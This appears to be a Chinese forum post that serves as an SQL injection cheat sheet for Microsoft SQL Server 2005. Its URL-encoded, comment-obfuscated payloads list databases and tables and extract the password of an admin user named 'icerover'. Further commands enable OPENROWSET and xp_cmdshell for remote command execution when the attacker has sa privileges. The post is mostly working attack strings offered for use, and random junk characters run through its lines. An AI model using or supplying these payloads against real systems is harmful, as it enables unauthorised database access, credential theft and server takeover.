- a4 c+ f; M, c" j7 @9 P, [; P L
, T! S* U" L4 E6 ^- U; N0 x$ {
0 J$ S' w; l& u1 Z# X3 u; ~
[Copy to clipboard]CODE:
* u# v, O) @% C8 d6 ~, Y/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--+ E3 t5 R& d# {+ ]. K6 x! z6 [1 Q
: g" Q& _% o- z- g/ H
爆表语句,somedb部份是所要列的数据库,红色数字1累加8 E& W j% c4 [9 h
5 C/ l1 @) f% n% i. `# N: U3 n8 A4 w2 G# R9 C
[Copy to clipboard]CODE:
/ }; x; ]$ U3 V2 D; \/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--+ x: x4 l6 l+ g% c3 g
0 k8 Q7 a, s+ {, |5 ^& e& s% q5 h, H
爆字段语句,爆表admin里user='icerover'的密码段
8 I) l ]! [. B1 z6 L% }8 ]$ _- W) `/ x% N
( b$ p) b: E* k* t/ t' s P4 N% x[Copy to clipboard]CODE:
3 g( p7 e0 V$ O( K/ ?$ T2 _**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
) |( U2 g2 W$ m4 G7 z( G; P, K# G* ?0 i" n
mssql2005默认没有开xp_cmdshell的,openrowset也不能用' ]3 H( K2 ~$ y' O
如果是sa权限,可以这样来开启. @ z) y7 b. G
开启openrowset- u" {# V$ z8 H$ q/ b- B
9 @( t& [+ d6 w3 M" L
/ I( Y+ r5 f# q/ ]+ ?
[Copy to clipboard]CODE:
5 {2 C+ h: L, ?7 C2 @/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--0 G* a2 [1 F5 D0 B
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--3 \: @0 [8 S0 P' |3 r7 Z
$ [2 B2 _' Y3 _* |2 X
开启xp_cmdshell
) `2 a: ? a8 j0 x8 \0 h1 s M% I4 f6 r3 W
+ i0 H. g+ d* [[Copy to clipboard]CODE:2 C* J4 r- V; s; w% @% k
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--* r# S, y- `% E3 d ~0 ^* y. n
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--/ T9 f- N' _ p
3 D. C, P2 i" |5 X. F- zok,over~~晚安$ W1 Q/ ~) \. d
|